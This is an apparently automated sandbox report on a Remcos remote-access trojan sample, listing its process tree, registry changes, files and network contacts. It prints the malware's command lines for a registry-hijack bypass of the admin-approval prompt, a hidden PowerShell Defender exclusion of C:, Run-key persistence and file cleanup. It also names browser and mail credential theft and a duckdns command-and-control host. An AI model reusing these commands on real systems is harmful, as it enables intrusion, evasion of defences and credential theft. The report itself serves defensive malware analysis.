Malware Analysis Report

2024-11-13 18:48

Sample ID 240726-dy1c6awhrg
Target 600b2be3d1429ba2716b05ed76d109815eb60426a2d3687c6735aece9dc9c5a3.exe
SHA256 600b2be3d1429ba2716b05ed76d109815eb60426a2d3687c6735aece9dc9c5a3
Tags
remcos remotehost discovery persistence rat collection credential_access stealer
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

600b2be3d1429ba2716b05ed76d109815eb60426a2d3687c6735aece9dc9c5a3

Threat Level: Known bad

The file 600b2be3d1429ba2716b05ed76d109815eb60426a2d3687c6735aece9dc9c5a3.exe was found to be: Known bad.

Malicious Activity Summary

remcos remotehost discovery persistence rat collection credential_access stealer

Remcos

Detected Nirsoft tools

NirSoft MailPassView

Credentials from Password Stores: Credentials from Web Browsers

NirSoft WebBrowserPassView

Loads dropped DLL

Checks computer location settings

Executes dropped EXE

Adds Run key to start application

Accesses Microsoft Outlook accounts

Suspicious use of SetThreadContext

System Network Configuration Discovery: Internet Connection Discovery

Unsigned PE

Enumerates physical storage devices

System Location Discovery: System Language Discovery

Suspicious use of AdjustPrivilegeToken

Modifies registry class

Script User-Agent

Suspicious use of WriteProcessMemory

Modifies system certificate store

Suspicious behavior: EnumeratesProcesses

Kills process with taskkill

Runs ping.exe

Suspicious behavior: MapViewOfSection

Suspicious use of FindShellTrayWindow

Suspicious use of SendNotifyMessage

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-07-26 03:25

Signatures

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-07-26 03:25

Reported

2024-07-26 03:28

Platform

win7-20240705-en

Max time kernel

149s

Max time network

128s

Command Line

"C:\Users\Admin\AppData\Local\Temp\600b2be3d1429ba2716b05ed76d109815eb60426a2d3687c6735aece9dc9c5a3.exe"

Signatures

Remcos

rat remcos

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-2172136094-3310281978-782691160-1000\Software\Microsoft\Windows\CurrentVersion\Run\Ycdtzeoi = "C:\\Users\\Public\\Ycdtzeoi.url" C:\Users\Admin\AppData\Local\Temp\600b2be3d1429ba2716b05ed76d109815eb60426a2d3687c6735aece9dc9c5a3.exe N/A

Suspicious use of SetThreadContext

Description Indicator Process Target
PID 600 set thread context of 2688 N/A C:\Users\Admin\AppData\Local\Temp\600b2be3d1429ba2716b05ed76d109815eb60426a2d3687c6735aece9dc9c5a3.exe C:\Users\Public\Libraries\ioeztdcY.pif

Enumerates physical storage devices

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\600b2be3d1429ba2716b05ed76d109815eb60426a2d3687c6735aece9dc9c5a3.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Public\Libraries\ioeztdcY.pif N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\extrac32.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\colorcpl.exe N/A

System Network Configuration Discovery: Internet Connection Discovery

discovery
Description Indicator Process Target
N/A N/A C:\Users\Public\alpha.exe N/A
N/A N/A C:\Windows\system32\PING.EXE N/A

Kills process with taskkill

evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\taskkill.exe N/A

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-2172136094-3310281978-782691160-1000_CLASSES\ms-settings\shell\open C:\Users\Public\ger.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2172136094-3310281978-782691160-1000_CLASSES\ms-settings\shell\open\command\ = "C:\\\\Users\\\\Public\\\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:\"" C:\Users\Public\ger.exe N/A
Key created \REGISTRY\USER\S-1-5-21-2172136094-3310281978-782691160-1000_CLASSES\ms-settings\shell\open\command C:\Users\Public\ger.exe N/A
Key created \REGISTRY\USER\S-1-5-21-2172136094-3310281978-782691160-1000_CLASSES\ms-settings C:\Users\Public\ger.exe N/A
Key created \REGISTRY\USER\S-1-5-21-2172136094-3310281978-782691160-1000_CLASSES\ms-settings\shell C:\Users\Public\ger.exe N/A

Runs ping.exe

Description Indicator Process Target
N/A N/A C:\Windows\system32\PING.EXE N/A

Script User-Agent

Description Indicator Process Target
HTTP User-Agent header Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) N/A N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Users\Public\xkn.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\600b2be3d1429ba2716b05ed76d109815eb60426a2d3687c6735aece9dc9c5a3.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Public\xkn.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 600 wrote to memory of 2688 N/A C:\Users\Admin\AppData\Local\Temp\600b2be3d1429ba2716b05ed76d109815eb60426a2d3687c6735aece9dc9c5a3.exe C:\Users\Public\Libraries\ioeztdcY.pif
PID 600 wrote to memory of 2688 N/A C:\Users\Admin\AppData\Local\Temp\600b2be3d1429ba2716b05ed76d109815eb60426a2d3687c6735aece9dc9c5a3.exe C:\Users\Public\Libraries\ioeztdcY.pif
PID 600 wrote to memory of 2688 N/A C:\Users\Admin\AppData\Local\Temp\600b2be3d1429ba2716b05ed76d109815eb60426a2d3687c6735aece9dc9c5a3.exe C:\Users\Public\Libraries\ioeztdcY.pif
PID 600 wrote to memory of 2688 N/A C:\Users\Admin\AppData\Local\Temp\600b2be3d1429ba2716b05ed76d109815eb60426a2d3687c6735aece9dc9c5a3.exe C:\Users\Public\Libraries\ioeztdcY.pif
PID 600 wrote to memory of 2688 N/A C:\Users\Admin\AppData\Local\Temp\600b2be3d1429ba2716b05ed76d109815eb60426a2d3687c6735aece9dc9c5a3.exe C:\Users\Public\Libraries\ioeztdcY.pif
PID 600 wrote to memory of 2688 N/A C:\Users\Admin\AppData\Local\Temp\600b2be3d1429ba2716b05ed76d109815eb60426a2d3687c6735aece9dc9c5a3.exe C:\Users\Public\Libraries\ioeztdcY.pif
PID 2688 wrote to memory of 2664 N/A C:\Users\Public\Libraries\ioeztdcY.pif C:\Windows\system32\cmd.exe
PID 2688 wrote to memory of 2664 N/A C:\Users\Public\Libraries\ioeztdcY.pif C:\Windows\system32\cmd.exe
PID 2688 wrote to memory of 2664 N/A C:\Users\Public\Libraries\ioeztdcY.pif C:\Windows\system32\cmd.exe
PID 2688 wrote to memory of 2664 N/A C:\Users\Public\Libraries\ioeztdcY.pif C:\Windows\system32\cmd.exe
PID 2664 wrote to memory of 2632 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\extrac32.exe
PID 2664 wrote to memory of 2632 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\extrac32.exe
PID 2664 wrote to memory of 2632 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\extrac32.exe
PID 2664 wrote to memory of 1632 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2664 wrote to memory of 1632 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2664 wrote to memory of 1632 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2664 wrote to memory of 2904 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2664 wrote to memory of 2904 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2664 wrote to memory of 2904 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2664 wrote to memory of 2556 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2664 wrote to memory of 2556 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2664 wrote to memory of 2556 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2556 wrote to memory of 2460 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 2556 wrote to memory of 2460 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 2556 wrote to memory of 2460 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 2664 wrote to memory of 2568 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2664 wrote to memory of 2568 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2664 wrote to memory of 2568 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2568 wrote to memory of 2096 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 2568 wrote to memory of 2096 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 2568 wrote to memory of 2096 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 2664 wrote to memory of 2368 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2664 wrote to memory of 2368 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2664 wrote to memory of 2368 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2368 wrote to memory of 1704 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 2368 wrote to memory of 1704 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 2368 wrote to memory of 1704 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 2664 wrote to memory of 2352 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2664 wrote to memory of 2352 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2664 wrote to memory of 2352 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2352 wrote to memory of 2848 N/A C:\Users\Public\alpha.exe C:\Users\Public\xkn.exe
PID 2352 wrote to memory of 2848 N/A C:\Users\Public\alpha.exe C:\Users\Public\xkn.exe
PID 2352 wrote to memory of 2848 N/A C:\Users\Public\alpha.exe C:\Users\Public\xkn.exe
PID 2848 wrote to memory of 2900 N/A C:\Users\Public\xkn.exe C:\Users\Public\alpha.exe
PID 2848 wrote to memory of 2900 N/A C:\Users\Public\xkn.exe C:\Users\Public\alpha.exe
PID 2848 wrote to memory of 2900 N/A C:\Users\Public\xkn.exe C:\Users\Public\alpha.exe
PID 2900 wrote to memory of 3056 N/A C:\Users\Public\alpha.exe C:\Users\Public\ger.exe
PID 2900 wrote to memory of 3056 N/A C:\Users\Public\alpha.exe C:\Users\Public\ger.exe
PID 2900 wrote to memory of 3056 N/A C:\Users\Public\alpha.exe C:\Users\Public\ger.exe
PID 2664 wrote to memory of 2868 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2664 wrote to memory of 2868 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2664 wrote to memory of 2868 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2868 wrote to memory of 2224 N/A C:\Users\Public\alpha.exe C:\Windows\system32\taskkill.exe
PID 2868 wrote to memory of 2224 N/A C:\Users\Public\alpha.exe C:\Windows\system32\taskkill.exe
PID 2868 wrote to memory of 2224 N/A C:\Users\Public\alpha.exe C:\Windows\system32\taskkill.exe
PID 2664 wrote to memory of 2264 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2664 wrote to memory of 2264 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2664 wrote to memory of 2264 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2264 wrote to memory of 2652 N/A C:\Users\Public\alpha.exe C:\Windows\system32\PING.EXE
PID 2264 wrote to memory of 2652 N/A C:\Users\Public\alpha.exe C:\Windows\system32\PING.EXE
PID 2264 wrote to memory of 2652 N/A C:\Users\Public\alpha.exe C:\Windows\system32\PING.EXE
PID 2664 wrote to memory of 1272 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2664 wrote to memory of 1272 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2664 wrote to memory of 1272 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe

Processes

C:\Users\Admin\AppData\Local\Temp\600b2be3d1429ba2716b05ed76d109815eb60426a2d3687c6735aece9dc9c5a3.exe

"C:\Users\Admin\AppData\Local\Temp\600b2be3d1429ba2716b05ed76d109815eb60426a2d3687c6735aece9dc9c5a3.exe"

C:\Users\Public\Libraries\ioeztdcY.pif

C:\Users\Public\Libraries\ioeztdcY.pif

C:\Windows\system32\cmd.exe

"C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\F650.tmp\F651.tmp\F652.bat C:\Users\Public\Libraries\ioeztdcY.pif"

C:\Windows\System32\extrac32.exe

C:\\Windows\\System32\\extrac32 /C /Y C:\\Windows\\System32\\cmd.exe "C:\\Users\\Public\\alpha.exe"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows "

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows \System32"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"

C:\Windows\system32\extrac32.exe

extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"

C:\Windows\system32\extrac32.exe

extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"

C:\Windows\system32\extrac32.exe

extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "

C:\Users\Public\xkn.exe

C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "

C:\Users\Public\alpha.exe

"C:\Users\Public\alpha.exe" /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""

C:\Users\Public\ger.exe

C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c taskkill /F /IM SystemSettings.exe

C:\Windows\system32\taskkill.exe

taskkill /F /IM SystemSettings.exe

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c ping 127.0.0.1 -n 2

C:\Windows\system32\PING.EXE

ping 127.0.0.1 -n 2

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c del /q "C:\Windows \System32\*"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c rmdir "C:\Windows \System32"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c rmdir "C:\Windows \"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c del /q "C:\\Windows \\System32\\per.exe" / A / F / Q / S

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\ger.exe" / A / F / Q / S

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\kn.exe" / A / F / Q / S

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\xkn.exe" / A / F / Q / S

C:\Windows\SysWOW64\extrac32.exe

C:\\Windows\\System32\\extrac32.exe /C /Y C:\Users\Admin\AppData\Local\Temp\600b2be3d1429ba2716b05ed76d109815eb60426a2d3687c6735aece9dc9c5a3.exe C:\\Users\\Public\\Libraries\\Ycdtzeoi.PIF

C:\Windows\SysWOW64\colorcpl.exe

C:\Windows\System32\colorcpl.exe

Network

Country Destination Domain Proto
US 8.8.8.8:53 2005.filemail.com udp
DE 50.7.86.226:443 2005.filemail.com tcp
DE 50.7.86.226:443 2005.filemail.com tcp
N/A 127.0.0.1:45645 tcp
N/A 127.0.0.1:56765 tcp
US 8.8.8.8:53 latestgrace2024.duckdns.org udp
MY 103.198.26.130:56765 latestgrace2024.duckdns.org tcp
MY 103.198.26.130:56765 latestgrace2024.duckdns.org tcp

Files

memory/600-0-0x0000000000230000-0x0000000000231000-memory.dmp

memory/600-1-0x0000000000400000-0x000000000050C000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\CabF04A.tmp

MD5 49aebf8cbd62d92ac215b2923fb1b9f5
SHA1 1723be06719828dda65ad804298d0431f6aff976
SHA256 b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f
SHA512 bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

C:\Users\Admin\AppData\Local\Temp\TarF05D.tmp

MD5 4ea6026cf93ec6338144661bf1202cd1
SHA1 a1dec9044f750ad887935a01430bf49322fbdcb7
SHA256 8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8
SHA512 6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b

\Users\Public\Libraries\ioeztdcY.pif

MD5 c116d3604ceafe7057d77ff27552c215
SHA1 452b14432fb5758b46f2897aeccd89f7c82a727d
SHA256 7bcdc2e607abc65ef93afd009c3048970d9e8d1c2a18fc571562396b13ebb301
SHA512 9202a00eeaf4c5be94de32fd41bfea40fc32d368955d49b7bad2b5c23c4ebc92dccb37d99f5a14e53ad674b63f1baa6efb1feb27225c86693ead3262a26d66c6

memory/2688-44-0x0000000000400000-0x0000000001400000-memory.dmp

memory/2688-47-0x0000000000400000-0x000000000041A000-memory.dmp

memory/2688-46-0x0000000000400000-0x0000000001400000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\F650.tmp\F651.tmp\F652.bat

MD5 e62f427202d3e5a3ba60ebe78567918c
SHA1 6ef0cd5ba6c871815fceb27ff095a7931452b334
SHA256 06bee225a830ea0e67b91fd7d24280c5315ef82049b25b07c9cfde4e36a639ff
SHA512 e15148ba4099f3b8c73319be32a5f76226d21e7fb90123bec68e5106d03b7d3e8af8caa0421667920967e8921787ba255dc4bf23d35792bf8e9a20f1e18283c6

C:\Users\Public\alpha.exe

MD5 5746bd7e255dd6a8afa06f7c42c1ba41
SHA1 0f3c4ff28f354aede202d54e9d1c5529a3bf87d8
SHA256 db06c3534964e3fc79d2763144ba53742d7fa250ca336f4a0fe724b75aaff386
SHA512 3a968356d7b94cc014f78ca37a3c03f354c3970c9e027ed4ccb8e59f0f9f2a32bfa22e7d6b127d44631d715ea41bf8ace91f0b4d69d1714d55552b064ffeb69e

\Users\Public\xkn.exe

MD5 852d67a27e454bd389fa7f02a8cbe23f
SHA1 5330fedad485e0e4c23b2abe1075a1f984fde9fc
SHA256 a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8
SHA512 327dc74590f34185735502e289135491092a453f7f1c5ee9e588032ff68934056ffa797f28181267fd9670f7895e1350894b16ea7b0e34a190597f14aea09a4d

memory/2848-75-0x000000001B2E0000-0x000000001B5C2000-memory.dmp

memory/2848-76-0x0000000002740000-0x0000000002748000-memory.dmp

C:\Users\Public\ger.exe

MD5 9d0b3066fe3d1fd345e86bc7bcced9e4
SHA1 e05984a6671fcfecbc465e613d72d42bda35fd90
SHA256 4e66b857b7010db8d4e4e28d73eb81a99bd6915350bb9a63cd86671051b22f0e
SHA512 d773ca3490918e26a42f90f5c75a0728b040e414d03599ca70e99737a339858e9f0c99711bed8eeebd5e763d10d45e19c4e7520ee62d6957bc9799fd62d4e119

memory/2688-97-0x0000000000400000-0x000000000041A000-memory.dmp

memory/2688-95-0x0000000000400000-0x0000000001400000-memory.dmp

memory/2216-110-0x0000000002340000-0x00000000023C2000-memory.dmp

memory/2216-108-0x0000000002340000-0x00000000023C2000-memory.dmp

memory/2216-107-0x0000000002340000-0x00000000023C2000-memory.dmp

memory/2216-103-0x0000000003150000-0x0000000004150000-memory.dmp

memory/2216-104-0x0000000002340000-0x00000000023C2000-memory.dmp

memory/2216-111-0x0000000002340000-0x00000000023C2000-memory.dmp

memory/2216-113-0x0000000002340000-0x00000000023C2000-memory.dmp

memory/2216-114-0x0000000002340000-0x00000000023C2000-memory.dmp

memory/2216-115-0x0000000002340000-0x00000000023C2000-memory.dmp

memory/2216-116-0x0000000002340000-0x00000000023C2000-memory.dmp

memory/2216-117-0x0000000002340000-0x00000000023C2000-memory.dmp

memory/2216-118-0x0000000002340000-0x00000000023C2000-memory.dmp

memory/2216-123-0x0000000002340000-0x00000000023C2000-memory.dmp

memory/2216-124-0x0000000002340000-0x00000000023C2000-memory.dmp

C:\ProgramData\remcos\logs.dat

MD5 84a1204cebdcedfaee5891a425b827d5
SHA1 8f106cc0cd946ade4a236b675a7edbba02732834
SHA256 f94d8f3a34fbb9faed1d4bbe03e1c89a0c679fb934280406783eda26de5fbb49
SHA512 c44d7ac78568fdfb92ce12ef5494e4b899a29fd82b479ecddc379cb816ca5bf1277d700e05afa19244f5c7e93cdbfcc88aeb7017091ecd63eb95b9efeab3f23b

memory/2216-132-0x0000000002340000-0x00000000023C2000-memory.dmp

memory/2216-131-0x0000000002340000-0x00000000023C2000-memory.dmp

memory/2216-137-0x0000000000360000-0x0000000000379000-memory.dmp

memory/2216-140-0x0000000000360000-0x0000000000379000-memory.dmp

memory/2216-141-0x0000000000360000-0x0000000000379000-memory.dmp

memory/2216-142-0x0000000002340000-0x00000000023C2000-memory.dmp

memory/2216-145-0x0000000002340000-0x00000000023C2000-memory.dmp

memory/2216-146-0x0000000002340000-0x00000000023C2000-memory.dmp

memory/2216-153-0x0000000002340000-0x00000000023C2000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-07-26 03:25

Reported

2024-07-26 03:28

Platform

win10v2004-20240709-en

Max time kernel

147s

Max time network

149s

Command Line

"C:\Users\Admin\AppData\Local\Temp\600b2be3d1429ba2716b05ed76d109815eb60426a2d3687c6735aece9dc9c5a3.exe"

Signatures

Remcos

rat remcos

Credentials from Password Stores: Credentials from Web Browsers

credential_access stealer

Detected Nirsoft tools

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

NirSoft MailPassView

Description Indicator Process Target
N/A N/A N/A N/A

NirSoft WebBrowserPassView

Description Indicator Process Target
N/A N/A N/A N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-2990742725-2267136959-192470804-1000\Control Panel\International\Geo\Nation C:\Users\Public\Libraries\ioeztdcY.pif N/A
Key value queried \REGISTRY\USER\S-1-5-21-2990742725-2267136959-192470804-1000\Control Panel\International\Geo\Nation C:\Windows \System32\per.exe N/A

Accesses Microsoft Outlook accounts

collection
Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-2990742725-2267136959-192470804-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts C:\Windows\SysWOW64\SndVol.exe N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-2990742725-2267136959-192470804-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Ycdtzeoi = "C:\\Users\\Public\\Ycdtzeoi.url" C:\Users\Admin\AppData\Local\Temp\600b2be3d1429ba2716b05ed76d109815eb60426a2d3687c6735aece9dc9c5a3.exe N/A

Enumerates physical storage devices

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\SndVol.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\600b2be3d1429ba2716b05ed76d109815eb60426a2d3687c6735aece9dc9c5a3.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Public\Libraries\ioeztdcY.pif N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\extrac32.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\SndVol.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\SndVol.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\SndVol.exe N/A

System Network Configuration Discovery: Internet Connection Discovery

discovery
Description Indicator Process Target
N/A N/A C:\Users\Public\alpha.exe N/A
N/A N/A C:\Windows\system32\PING.EXE N/A

Kills process with taskkill

evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\taskkill.exe N/A

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-2990742725-2267136959-192470804-1000_Classes\ms-settings\shell\open\command C:\Users\Public\ger.exe N/A
Key created \REGISTRY\USER\S-1-5-21-2990742725-2267136959-192470804-1000_Classes\ms-settings C:\Users\Public\ger.exe N/A
Key created \REGISTRY\USER\S-1-5-21-2990742725-2267136959-192470804-1000_Classes\ms-settings\shell C:\Users\Public\ger.exe N/A
Key created \REGISTRY\USER\S-1-5-21-2990742725-2267136959-192470804-1000_Classes\ms-settings\shell\open C:\Users\Public\ger.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2990742725-2267136959-192470804-1000_Classes\ms-settings\shell\open\command\ = "C:\\\\Users\\\\Public\\\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:\"" C:\Users\Public\ger.exe N/A

Modifies system certificate store

evasion spyware trojan
Description Indicator Process Target
Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 0f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e349200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551